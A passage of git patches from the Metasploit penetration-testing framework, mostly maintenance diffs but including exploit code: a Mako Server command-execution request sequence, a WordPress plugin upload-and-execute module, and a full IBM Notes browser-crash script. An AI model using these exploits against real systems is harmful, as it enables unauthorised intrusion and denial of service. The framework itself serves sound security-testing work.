+    # Send a PUT request to save.lsp with command payload
+    begin
+      vprint_status('Sending PUT request to save.lsp...')
+      send_request_cgi({
+         'method' => 'PUT',
+         'uri'    => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
+         'ctype'  => 'text/plain',
+         'data'   => cmd,
+         'http'   => {
+           'X-Requested-With' => 'XMLHttpRequest',
+           'Referer' => 'http://localhost/Lua-Types.lsp'
+         }
+       }, 20)
+    rescue StandardError => e
+      fail_with(Failure::NoAccess, "Error: #{e}")
+    end
+
+    # Send a GET request to manage.lsp with execute set to true
+    begin
+      vprint_status('Sending GET request to manage.lsp...')
+      send_request_cgi({
+         'method' => 'GET',
+         'uri'    => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
+       }, 20)
+    rescue StandardError => e
+      fail_with(Failure::NoAccess, "Error: #{e}")
+    end
+  end
+end

From 85b59c87ca27c98b1d897b6f854ae86bc06a50e6 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Fri, 27 Oct 2017 02:15:08 -0700
Subject: [PATCH 056/254] fix buggy handling of partial ingress packet data

If we have more data, and the packet parser needs more data, connect the two
together rather than bailing. This fixes reverse_tcp_ssl along with probably a
lot of other higher-latency corner cases.
---
 lib/msf/base/sessions/meterpreter.rb      |  4 ++--
 lib/rex/post/meterpreter/packet_parser.rb | 20 ++++++++------------
 2 files changed, 10 insertions(+), 14 deletions(-)

diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb
index 110e1fef3d..3e13987fb1 100644
--- a/lib/msf/base/sessions/meterpreter.rb
+++ b/lib/msf/base/sessions/meterpreter.rb
@@ -147,9 +147,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
         guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
         session.core.set_session_guid(guid)
         session.session_guid = guid
-        # TODO: New statgeless session, do some account in the DB so we can track it later.
+        # TODO: New stageless session, do some account in the DB so we can track it later.
       else
-        # TODO: This session was either staged or previously known, and so we shold do some accounting here!
+        # TODO: This session was either staged or previously known, and so we should do some accounting here!
       end
 
       unless datastore['AutoLoadStdapi'] == false
diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb
index 28bd1ef584..9aea233622 100644
--- a/lib/rex/post/meterpreter/packet_parser.rb
+++ b/lib/rex/post/meterpreter/packet_parser.rb
@@ -30,24 +30,20 @@ class PacketParser
   # Reads data from the wire and parse as much of the packet as possible.
   #
   def recv(sock)
-    bytes_left = self.packet.raw_bytes_required
-
-    if bytes_left > 0
-      raw = sock.read(bytes_left)
-      if raw
+    if self.packet.raw_bytes_required
+      while (raw = sock.read(self.packet.raw_bytes_required))
         self.packet.add_raw(raw)
-      else
-        raise EOFError
+        break if self.packet.raw_bytes_required == 0
       end
     end
 
-    if self.packet.raw_bytes_required == 0
-      packet = self.packet
-      reset
-      return packet
+    if self.packet.raw_bytes_required > 0
+      return nil
     end
 
-    nil
+    packet = self.packet
+    reset
+    packet
   end
 
 protected

From d1889827606cc1f08bed6ce1367cafe41cd05e1b Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Fri, 27 Oct 2017 02:29:25 -0700
Subject: [PATCH 057/254] handle masked EOF from Rex sockets (TODO: kill that
 behavior)

---
 lib/rex/post/meterpreter/packet_parser.rb | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb
index 9aea233622..ca646e39fd 100644
--- a/lib/rex/post/meterpreter/packet_parser.rb
+++ b/lib/rex/post/meterpreter/packet_parser.rb
@@ -27,10 +27,11 @@ class PacketParser
   end
 
   #
-  # Reads data from the wire and parse as much of the packet as possible.
+  # Reads data from the socket and parses as much of the packet as possible.
   #
   def recv(sock)
-    if self.packet.raw_bytes_required
+    raw = nil
+    if self.packet.raw_bytes_required > 0
       while (raw = sock.read(self.packet.raw_bytes_required))
         self.packet.add_raw(raw)
         break if self.packet.raw_bytes_required == 0
@@ -38,7 +39,11 @@ class PacketParser
     end
 
     if self.packet.raw_bytes_required > 0
-      return nil
+      if raw == nil
+        raise EOFError
+      else
+        return nil
+      end
     end
 
     packet = self.packet

From 037c58d1f66b2d9ed8235b392d1e6a988d3cc225 Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Fri, 27 Oct 2017 10:10:04 -0400
Subject: [PATCH 058/254] wp-mobile-detector udpates

---
 .../unix/webapp/wp_mobile_detector_upload_execute.rb        | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
index ae2f4fa7ad..1817767973 100644
--- a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
+++ b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
@@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'method'  => 'GET',
       'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
     )
-    if res and !res.body.include?(payload_name)
+    if res && !res.body.include?(payload_name)
       vprint_status("#{payload_name} verified as not written.")
     else
       fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_good('Sleeping 5 seconds for payload upload')
       register_files_for_cleanup(payload_name)
 
-      select(nil,nil,nil,5)
+      Rex.sleep(5)
 
       print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
       send_request_cgi(
@@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote
         'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
       })
       # wait for callback, without this we exit too fast and miss our shell
-      select(nil,nil,nil,2)
+      Rex.sleep(2)
       handler
     else
       if res.nil?

From 587c9673c67014badf578bb47dfe7fb6e228cf13 Mon Sep 17 00:00:00 2001
From: sho-luv <sho.luv@gmail.com>
Date: Fri, 27 Oct 2017 09:34:49 -0700
Subject: [PATCH 059/254] Added host and port to output

I added the host and port number to reporting when instances are found.
---
 modules/auxiliary/scanner/http/jenkins_enum.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb
index 953c0ca9c6..982adf452e 100644
--- a/modules/auxiliary/scanner/http/jenkins_enum.rb
+++ b/modules/auxiliary/scanner/http/jenkins_enum.rb
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     version = res.headers['X-Jenkins']
-    print_good("Jenkins Version - #{version}")
+    print_good("#{rhost}:#{rport} Jenkins Version - #{version}")
     report_service(
       :host  => rhost,
       :port  => rport,

From 254c2a33d366dc6070845d65e9179c8b99f9895e Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Fri, 27 Oct 2017 11:44:23 -0500
Subject: [PATCH 060/254] bump metasploit payloads, windows meterpreter fixes

---
 Gemfile.lock                 | 4 ++--
 metasploit-framework.gemspec | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 69ab329926..d69ad8ecd9 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -17,7 +17,7 @@ PATH
       metasploit-concern
       metasploit-credential
       metasploit-model
-      metasploit-payloads (= 1.3.11)
+      metasploit-payloads (= 1.3.13)
       metasploit_data_models
       metasploit_payloads-mettle (= 0.2.2)
       msgpack
@@ -178,7 +178,7 @@ GEM
       activemodel (~> 4.2.6)
       activesupport (~> 4.2.6)
       railties (~> 4.2.6)
-    metasploit-payloads (1.3.11)
+    metasploit-payloads (1.3.13)
     metasploit_data_models (2.0.15)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 7bf217c2c3..46f5fcb14e 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
   # are needed when there's no database
   spec.add_runtime_dependency 'metasploit-model'
   # Needed for Meterpreter
-  spec.add_runtime_dependency 'metasploit-payloads', '1.3.11'
+  spec.add_runtime_dependency 'metasploit-payloads', '1.3.13'
   # Needed for the next-generation POSIX Meterpreter
   spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.2'
   # Needed by msfgui and other rpc components

From 140955f2208560b466355aacb8151618a028093c Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Fri, 27 Oct 2017 10:03:00 -0700
Subject: [PATCH 061/254] Bump version of framework to 4.16.14

---
 Gemfile.lock                        | 18 +++++++++---------
 lib/metasploit/framework/version.rb |  2 +-
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index d69ad8ecd9..d1f3a823bf 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.13)
+    metasploit-framework (4.16.14)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
@@ -117,10 +117,10 @@ GEM
     dnsruby (1.60.2)
     docile (1.1.5)
     erubis (2.7.0)
-    factory_girl (4.8.1)
+    factory_girl (4.9.0)
       activesupport (>= 3.0.0)
-    factory_girl_rails (4.8.0)
-      factory_girl (~> 4.8.0)
+    factory_girl_rails (4.9.0)
+      factory_girl (~> 4.9.0)
       railties (>= 3.0.0)
     faraday (0.13.1)
       multipart-post (>= 1.2, < 3)
@@ -138,7 +138,7 @@ GEM
       multi_json (~> 1.11)
       os (~> 0.9)
       signet (~> 0.7)
-    grpc (1.6.7)
+    grpc (1.7.0)
       google-protobuf (~> 3.1)
       googleapis-common-protos-types (~> 1.0.0)
       googleauth (~> 0.5.1)
@@ -243,13 +243,13 @@ GEM
       activesupport (= 4.2.10)
       rake (>= 0.8.7)
       thor (>= 0.18.1, < 2.0)
-    rake (12.1.0)
+    rake (12.2.1)
     rb-readline (0.5.5)
     rbnacl (4.0.2)
       ffi
     rbnacl-libsodium (1.0.13)
       rbnacl (>= 3.0.1)
-    recog (2.1.15)
+    recog (2.1.16)
       nokogiri
     redcarpet (3.4.0)
     rex-arch (0.1.11)
@@ -348,9 +348,9 @@ GEM
     thread_safe (0.3.6)
     timecop (0.9.1)
     ttfunk (1.5.1)
-    tzinfo (1.2.3)
+    tzinfo (1.2.4)
       thread_safe (~> 0.1)
-    tzinfo-data (1.2017.2)
+    tzinfo-data (1.2017.3)
       tzinfo (>= 1.0.0)
     windows_error (0.1.2)
     xdr (2.0.0)
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index c111856d17..9690195ec5 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.13"
+      VERSION = "4.16.14"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 73c9807c55188f29ef7757f62bb3ca355e0d7ed3 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Wed, 25 Oct 2017 14:45:47 -0500
Subject: [PATCH 062/254] Add module support for sessions -s

---
 lib/msf/ui/console/command_dispatcher/core.rb | 30 ++++++++-----------
 1 file changed, 12 insertions(+), 18 deletions(-)

diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index 675538ae61..6c4e796224 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -47,7 +47,7 @@ class Core
     "-q"  => [ false, "Quiet mode"                                                     ],
     "-k"  => [ true,  "Terminate sessions by session ID and/or range"                  ],
     "-K"  => [ false, "Terminate all sessions"                                         ],
-    "-s"  => [ true,  "Run a script on the session given with -i, or all"              ],
+    "-s"  => [ true,  "Run a script or module on the session given with -i, or all"    ],
     "-r"  => [ false, "Reset the ring buffer for the session given with -i, or all"    ],
     "-u"  => [ true,  "Upgrade a shell to a meterpreter session on many platforms"     ],
     "-t"  => [ true,  "Set a response timeout (default: 15)"                           ],
@@ -1180,10 +1180,10 @@ class Core
           sid = val || false
         when "-K"
           method = 'killall'
-        # Run a script on all meterpreter sessions
+        # Run a script or module on specified sessions
         when "-s"
           unless script
-            method = 'scriptall'
+            method = 'script'
             script = val
           end
         # Upload and exec to the specific command session
@@ -1389,15 +1389,11 @@ class Core
           sid = nil
         end
       end
-    when 'scriptall'
+    when 'script'
       unless script
-        print_error("No script specified!")
+        print_error("No script or module specified!")
         return false
       end
-      script_paths = {}
-      script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script)
-      script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script)
-
       sessions = sid ? session_list : framework.sessions.keys.sort
 
       sessions.each do |sess_id|
@@ -1413,15 +1409,13 @@ class Core
             session.response_timeout = response_timeout
           end
           begin
-            if script_paths[session.type]
-              print_status("Session #{sess_id} (#{session.session_host}):")
-              print_status("Running script #{script} on #{session.type} session" +
-                            " #{sess_id} (#{session.session_host})")
-              begin
-                session.execute_file(script_paths[session.type], extra)
-              rescue ::Exception => e
-                log_error("Error executing script: #{e.class} #{e}")
-              end
+            print_status("Session #{sess_id} (#{session.session_host}):")
+            print_status("Running #{script} on #{session.type} session" +
+                          " #{sess_id} (#{session.session_host})")
+            begin
+              session.execute_script(script, *extra)
+            rescue ::Exception => e
+              log_error("Error executing script or module: #{e.class} #{e}")
             end
           ensure
             if session.respond_to?(:response_timeout) && last_known_timeout

From 9349e1eda532adfa6338c4de225329d17647dbaf Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Fri, 27 Oct 2017 11:11:29 -0500
Subject: [PATCH 063/254] Fix find_script_path to check only files

---
 lib/msf/base/sessions/scriptable.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/msf/base/sessions/scriptable.rb b/lib/msf/base/sessions/scriptable.rb
index d136f9a396..87a44c031f 100644
--- a/lib/msf/base/sessions/scriptable.rb
+++ b/lib/msf/base/sessions/scriptable.rb
@@ -27,7 +27,7 @@ module Scriptable
 
       # Scan all of the path combinations
       check_paths.each { |path|
-        if ::File.exist?(path)
+        if ::File.file?(path)
           full_path = path
           break
         end
@@ -150,7 +150,7 @@ module Scriptable
           # session
           local_exploit_opts = local_exploit_opts.merge(opts)
 
-          new_session = mod.exploit_simple(
+          mod.exploit_simple(
             'Payload'       => local_exploit_opts.delete('payload'),
             'Target'        => local_exploit_opts.delete('target'),
             'LocalInput'    => self.user_input,

From b96fa690a9d206d6a12ab722a1f37537169885b9 Mon Sep 17 00:00:00 2001
From: Steven Patterson <shogunlab@gmail.com>
Date: Fri, 27 Oct 2017 15:23:22 -0400
Subject: [PATCH 064/254] Add brackets to print functions

---
 modules/exploits/windows/http/makoserver_cmd_exec.rb | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/windows/http/makoserver_cmd_exec.rb b/modules/exploits/windows/http/makoserver_cmd_exec.rb
index 98d0e456ea..5326d5bb7a 100644
--- a/modules/exploits/windows/http/makoserver_cmd_exec.rb
+++ b/modules/exploits/windows/http/makoserver_cmd_exec.rb
@@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # If response does not include "MakoServer.net", target is not viable.
     if res.headers['Server'] !~ /MakoServer.net/
-      vprint_warning 'Target is not a Mako Server.'
+      vprint_warning('Target is not a Mako Server.')
       return CheckCode::Safe
     end
 
@@ -66,12 +66,12 @@ class MetasploitModule < Msf::Exploit::Remote
       if res.body =~ /Incorrect usage/
         # We are able to determine that the server has a save.lsp page and
         # returns the correct output.
-        vprint_status 'Mako Server save.lsp returns correct ouput.'
+        vprint_status('Mako Server save.lsp returns correct ouput.')
         return CheckCode::Appears
       else
         # The page exists, but is not returning the expected output.
         # May be a different version?
-        vprint_warning 'Mako Server save.lsp did not return expected output.'
+        vprint_warning('Mako Server save.lsp did not return expected output.')
         return CheckCode::Detected
       end
     else

From 9c16da9c985b2dbc627523466fb470d73bd9d72d Mon Sep 17 00:00:00 2001
From: RootUp <mishra.dhiraj95@gmail.com>
Date: Sat, 28 Oct 2017 18:53:15 +0530
Subject: [PATCH 065/254] Update ibm_lotus_notes2.rb

---
 .../auxiliary/dos/http/ibm_lotus_notes2.rb    | 24 +++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
index 4513c9dfda..67df421cfd 100644
--- a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
+++ b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       update_info(
         info,
-        'Name'           => "IBM Notes encodeURI DOS",
+        'Name'           => "IBM Notes Denial Of Service",
         'Description'    => %q(
           This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.
           If successful, the browser will crash after viewing the webpage.
@@ -46,17 +46,17 @@ var i = 1;
 f.click();
 setInterval("f.click()", 1);
 setInterval(function(){
-	for (var k in kins) {
-		if (kins[k] && kins[k].status === undefined) {
-			kins[k].close();
-			delete kins[k];
-		}
-	}
-	w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
-	if (w) {
-		kins[i] = w;
-		i++;
-	}
+          for (var k in kins) {
+          if (kins[k] && kins[k].status === undefined) {
+          kins[k].close();
+          delete kins[k];
+           }
+         }
+        w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
+        if (w) {
+                kins[i] = w;
+                i++;
+        }
 }, 1);
 </script>
 </body></html>

From 3b8ef02c29da293e37cec0a9c58f577ff704026d Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Sun, 29 Oct 2017 08:36:05 -0400
Subject: [PATCH 066/254] sid vs side

---
 lib/msf/core/post/windows/priv.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb
index 869e129261..084f9acec7 100644
--- a/lib/msf/core/post/windows/priv.rb
+++ b/lib/msf/core/post/windows/priv.rb
@@ -194,7 +194,7 @@ module Msf::Post::Windows::Priv
   #
   def is_high_integrity?
     il = get_integrity_level
-    (il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SIDE[:system])
+    (il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SID[:system])
   end
 
   #

From 940573ad49f2bc98fb2f2b6e895148ef684e58ec Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Sun, 29 Oct 2017 15:57:33 -0400
Subject: [PATCH 067/254] Support ruby directives in Meterpreter rc scripts

---
 .../ui/console/command_dispatcher/resource.rb |  6 +-
 .../ui/console/command_dispatcher/core.rb     | 78 ++++++++++++-------
 lib/rex/ui/text/dispatcher_shell.rb           | 68 ++++++++++++++++
 3 files changed, 122 insertions(+), 30 deletions(-)

diff --git a/lib/msf/ui/console/command_dispatcher/resource.rb b/lib/msf/ui/console/command_dispatcher/resource.rb
index b020bd743f..8f2e6277fd 100644
--- a/lib/msf/ui/console/command_dispatcher/resource.rb
+++ b/lib/msf/ui/console/command_dispatcher/resource.rb
@@ -59,8 +59,8 @@ module Msf
               elsif
                 # let's check to see if it's in the scripts/resource dir (like when tab completed)
                 [
-                  ::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
-                  ::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
+                  ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource',
+                  ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource'
                 ].each do |dir|
                   res_path = dir + ::File::SEPARATOR + res
                   if ::File.exist?(res_path)
@@ -97,7 +97,7 @@ module Msf
                 [
                   ::Msf::Config.script_directory + File::SEPARATOR + "resource",
                   ::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
-                  "."
+                  '.'
                 ].each do |dir|
                   next if not ::File.exist? dir
                   tabs += ::Dir.new(dir).find_all { |e|
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
index a9cafc2d71..5d854c6fd1 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
@@ -1530,49 +1530,73 @@ class Console::CommandDispatcher::Core
   end
 
   def cmd_resource_help
-    print_line('Usage: resource <path1> [path2 ...]')
+    print_line "Usage: resource path1 [path2 ...]"
     print_line
-    print_line('Run the commands stored in the supplied files.')
+    print_line "Run the commands stored in the supplied files (- for stdin)."
+    print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."
     print_line
   end
 
   def cmd_resource(*args)
     if args.empty?
+      cmd_resource_help
       return false
     end
 
-    args.each do |glob|
-      files = ::Dir.glob(::File.expand_path(glob))
-      if files.empty?
-        print_error("No such file #{glob}")
-        next
-      end
-      files.each do |filename|
-        print_status("Reading #{filename}")
-        if (not ::File.readable?(filename))
-          print_error("Could not read file #{filename}")
-          next
-        else
-          ::File.open(filename, 'r').each_line do |line|
-            next if line.strip.length < 1
-            next if line[0,1] == '#'
-            begin
-              print_status("Running #{line}")
-              client.console.run_single(line)
-            rescue ::Exception => e
-              print_error("Error Running Command #{line}: #{e.class} #{e}")
-            end
-
+    args.each do |res|
+      good_res = nil
+      if res == '-'
+        good_res = res
+      elsif ::File.exist?(res)
+        good_res = res
+      elsif
+        # let's check to see if it's in the scripts/resource dir (like when tab completed)
+        [
+          ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',
+          ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter'
+        ].each do |dir|
+          res_path = dir + ::File::SEPARATOR + res
+          if ::File.exist?(res_path)
+            good_res = res_path
+            break
           end
         end
       end
+      if good_res
+        client.console.load_resource(good_res)
+      else
+        print_error("#{res} is not a valid resource file")
+        next
+      end
     end
   end
 
   def cmd_resource_tabs(str, words)
-    return [] if words.length > 1
-
-    tab_complete_filenames(str, words)
+    tabs = []
+    #return tabs if words.length > 1
+    if ( str and str =~ /^#{Regexp.escape(::File::SEPARATOR)}/ )
+      # then you are probably specifying a full path so let's just use normal file completion
+      return tab_complete_filenames(str,words)
+    elsif (not words[1] or not words[1].match(/^\//))
+      # then let's start tab completion in the scripts/resource directories
+      begin
+        [
+          ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',
+          ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',
+          '.'
+        ].each do |dir|
+          next if not ::File.exist? dir
+          tabs += ::Dir.new(dir).find_all { |e|
+            path = dir + ::File::SEPARATOR + e
+            ::File.file?(path) and ::File.readable?(path)
+          }
+        end
+      rescue Exception
+      end
+    else
+      tabs += tab_complete_filenames(str,words)
+    end
+    return tabs
   end
 
   def cmd_enable_unicode_encoding
diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb
index 878010829c..a5f365671f 100644
--- a/lib/rex/ui/text/dispatcher_shell.rb
+++ b/lib/rex/ui/text/dispatcher_shell.rb
@@ -2,6 +2,7 @@
 require 'rex/ui'
 require 'pp'
 require 'rex/text/table'
+require 'erb'
 
 module Rex
 module Ui
@@ -368,6 +369,73 @@ module DispatcherShell
     return items
   end
 
+  # Processes a resource script file for the console.
+  #
+  # @param path [String] Path to a resource file to run
+  # @return [void]
+  def load_resource(path)
+    if path == '-'
+      resource_file = $stdin.read
+      path = 'stdin'
+    elsif ::File.exist?(path)
+      resource_file = ::File.read(path)
+    else
+      print_error("Cannot find resource script: #{path}")
+      return
+    end
+
+    # Process ERB directives first
+    print_status "Processing #{path} for ERB directives."
+    erb = ERB.new(resource_file)
+    processed_resource = erb.result(binding)
+
+    lines = processed_resource.each_line.to_a
+    bindings = {}
+    while lines.length > 0
+
+      line = lines.shift
+      break if not line
+      line.strip!
+      next if line.length == 0
+      next if line =~ /^#/
+
+      # Pretty soon, this is going to need an XML parser :)
+      # TODO: case matters for the tag and for binding names
+      if line =~ /<ruby/
+        if line =~ /\s+binding=(?:'(\w+)'|"(\w+)")(>|\s+)/
+          bin = ($~[1] || $~[2])
+          bindings[bin] = binding unless bindings.has_key? bin
+          bin = bindings[bin]
+        else
+          bin = binding
+        end
+        buff = ''
+        while lines.length > 0
+          line = lines.shift
+          break if not line
+          break if line =~ /<\/ruby>/
+          buff << line
+        end
+        if ! buff.empty?
+          session = client
+          framework = client.framework
+
+          print_status("resource (#{path})> Ruby Code (#{buff.length} bytes)")
+          begin
+            eval(buff, bin)
+          rescue ::Interrupt
+            raise $!
+          rescue ::Exception => e
+            print_error("resource (#{path})> Ruby Error: #{e.class} #{e} #{e.backtrace}")
+          end
+        end
+      else
+        print_line("resource (#{path})> #{line}")
+        run_single(line)
+      end
+    end
+  end
+
   #
   # Run a single command line.
   #

From ebaf0c5484551b4cbd37f133ca7f44beceaa4e8b Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 30 Oct 2017 05:09:31 -0500
Subject: [PATCH 068/254] bump mettle, update toolchain, add e500v2 and reduce
 size of x86_64

---
 Gemfile.lock                 | 4 ++--
 metasploit-framework.gemspec | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index d1f3a823bf..e32cd33f32 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -19,7 +19,7 @@ PATH
       metasploit-model
       metasploit-payloads (= 1.3.13)
       metasploit_data_models
-      metasploit_payloads-mettle (= 0.2.2)
+      metasploit_payloads-mettle (= 0.2.5)
       msgpack
       nessus_rest
       net-ssh
@@ -189,7 +189,7 @@ GEM
       postgres_ext
       railties (~> 4.2.6)
       recog (~> 2.0)
-    metasploit_payloads-mettle (0.2.2)
+    metasploit_payloads-mettle (0.2.5)
     method_source (0.9.0)
     mini_portile2 (2.3.0)
     minitest (5.10.3)
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 46f5fcb14e..bb1923e736 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -72,7 +72,7 @@ Gem::Specification.new do |spec|
   # Needed for Meterpreter
   spec.add_runtime_dependency 'metasploit-payloads', '1.3.13'
   # Needed for the next-generation POSIX Meterpreter
-  spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.2'
+  spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.5'
   # Needed by msfgui and other rpc components
   spec.add_runtime_dependency 'msgpack'
   # get list of network interfaces, like eth* from OS.

From 22f9626186508322a48681fcf7574ebbf74c7384 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 30 Oct 2017 05:26:29 -0500
Subject: [PATCH 069/254] update sizes

---
 .../payloads/singles/linux/aarch64/meterpreter_reverse_http.rb  | 2 +-
 .../payloads/singles/linux/aarch64/meterpreter_reverse_https.rb | 2 +-
 .../payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb   | 2 +-
 .../payloads/singles/linux/armbe/meterpreter_reverse_http.rb    | 2 +-
 .../payloads/singles/linux/armbe/meterpreter_reverse_https.rb   | 2 +-
 modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb | 2 +-
 .../payloads/singles/linux/armle/meterpreter_reverse_http.rb    | 2 +-
 .../payloads/singles/linux/armle/meterpreter_reverse_https.rb   | 2 +-
 modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb | 2 +-
 .../payloads/singles/linux/mips64/meterpreter_reverse_http.rb   | 2 +-
 .../payloads/singles/linux/mips64/meterpreter_reverse_https.rb  | 2 +-
 .../payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb    | 2 +-
 .../payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb   | 2 +-
 .../payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb  | 2 +-
 .../payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb    | 2 +-
 .../payloads/singles/linux/mipsle/meterpreter_reverse_http.rb   | 2 +-
 .../payloads/singles/linux/mipsle/meterpreter_reverse_https.rb  | 2 +-
 .../payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb    | 2 +-
 modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb  | 2 +-
 modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb | 2 +-
 modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb   | 2 +-
 .../payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb  | 2 +-
 .../payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb | 2 +-
 .../payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb   | 2 +-
 modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb  | 2 +-
